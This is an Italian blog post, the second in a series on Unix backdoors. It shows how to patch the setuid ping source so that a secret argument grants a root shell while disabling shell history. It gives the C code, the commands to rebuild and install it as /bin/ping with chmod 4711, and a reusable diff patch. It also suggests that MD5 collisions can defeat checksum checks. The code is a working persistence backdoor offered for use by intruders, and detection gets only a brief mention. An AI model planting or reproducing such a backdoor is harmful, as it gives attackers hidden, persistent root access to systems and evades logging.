lunedì 27 luglio 2009

Fondamenti di Backdoor parte 2


Nel precedente articolo Fondamenti di Backdoor parte 1, mi ero limitato a descrivere il concetto di backdoor mostrando anche un semplice esempio. In questa seconda puntata descrivo i metodi piu raffinati che vengono utilizzati ancora oggi dagli intrusi oppure dai programmatori. La tecnica consiste nel modificare i sorgenti dei programmi inserendo il bit di SUID nella posizione adeguata all'interno del codice sorgente o nella modifica dei daemon uscenti con uid=0, come ad esempio POP3,FTP o SSH. I daemon (demoni) sono processi server che stanno sempre in ascolto. Il più delle volte vengono inizializzati all'avvio del sistema e poi rimangono in attesa dietro le quinte (background) finché non viene richiesto il loro servizio. Un semplice esempio consiste nel creare una backdoor nell'eseguibile ping, piu precisamente dobbiamo inserire una modifica che consiste nel verificare se il primo argometo(argv[1]) passatogli sia una sequenza di caratteri, come ad esempio fabri8bit. Se la condizine viene soddisfatta, il programma richiamerà una funzine la quale configurerà uid e gid=0 e cancellerà la varibile HISTLIFE, avviando la shell. Per provare in pratica questa soluzione, si devono prima di tutto scaricare i sorgenti del programma ping reperibili, ad esempio, su http://archive.ubuntu.com/ubuntu/pool/main/i/iputils/iputils_20071127.orig.tar.gz oppure li si può scaricare dai repository di gentoo. Una volta scompattato il file .gz dobbiamo concentrarci sul file sorgente ping.c. La prima cosa che dobbiamo fare è cercare la funzione main(int argc, char **argv). La modifica deve essere eseguita poco prima dell'abbandono dei privilegi, e piu precisamente qui:

icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;

if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
{
setuid(0);
setgid(0);
unsetenv("HISTFILE");
execl("/bin/bash","bash","-i",NULL);
}


uid = getuid();
if (setuid(uid))
{
perror("ping: setuid");
exit(-1);
}


Le ultime righe provocano l'abbandono dei privilegi in quanto l'obiettivo principale della funzione getuid() è quello di riportare il suo (attuale) uid(user identifier). Per quando riguarda la funzione setuid() il suo obiettivo invece è quello di impostare l'user-ID del processo corrente. In sostanza l'uso principale di queste funzioni consente ad un programma con i bit suid o sgid impostati di riportare l'user-ID effettivo a quello dell'utente che ha lanciato il programma. Dopo la piccola modifica, non ci resta che ricompilare il programma e copiarlo nella cartella dove risiedono i comuni programmi condivisi dal sistema, dall'amministratore di sistema e dagli utenti ( /bin eheh ). Per chi ha letto la prima parte della guida, sa che prima di compiere questa operazione si deve ottenere in un qualche modo una shell di root. A questo punto non ci resta che compilare:

# cd iputils_20071127.orig
#
make
# cp -f ping /bin/ping
# chmod 4711 /bin/ping
#
exit
$
ping "fabri8bit"
#

Se non vogliamo modificare ogni volta il sorgente, è molto conveniente crearsi una patch per il sorgente ping.c e fare un unico pacchetto nel quale sono compresi i sorgenti da uplodare nel nostro fileserver oppure tenerlo nella chiavetta usb. Utilizzando il comando diff che, sostanzialmente, serve per analizzare due file e riportare le differenze è possibile anche creare un file di patch. Dopo aver digitato tale comando è possibile vedere a video le differenze tra i due file. La creazione di una patch avviene attraverso le seguenti opzioni:

$ diff -urN ping.c ping-back.c > back && cat back

--- ping.c 2009-07-27 17:13:31.886758795 +0200
+++ ping-back.c 2007-12-10 04:56:22.000000000 +0100
@@ -125,15 +125,6 @@
icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;

-if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
-{
- setuid(0);
- setgid(0);
- unsetenv("HISTFILE");
- execl("/bin/bash","bash","-i",NULL);
-}
-
-
uid = getuid();
if (setuid(uid)) {
perror("ping: setuid");

Grazie al comando patch, utilizzato per applicare il file di patch creato con le differenze tra un file e un file più recente, è possibile apportare la modifica al file ping.c originale. La modalità di utilizzo è la seguente:

$ patch -p0 <
back

Queste falle nella sicurezza si possono scroprire in diversi modi,per esempio effettuando un controllo di checksum sui file. Pochi amministratori, comunque, effettuano questo tipo di controllo e molte volte capita che i file di checksum vengano custoditi su unità che sono raggiungibili dall'aggressore. Basta, infatti, trovare una collisione, ad esempio sull'algoritmo MD5, ed è possibile ricalcolare il checksum del file binario modificato in aniera del tutto identica al checksum del file originale. Un miglior modo per installare una backdoor consiste nel modificare le libreire del sistema. Un esempio sono le librerie PAM (Pluggable authentication Module) che tratterò la prossima volta.



Nessun commento: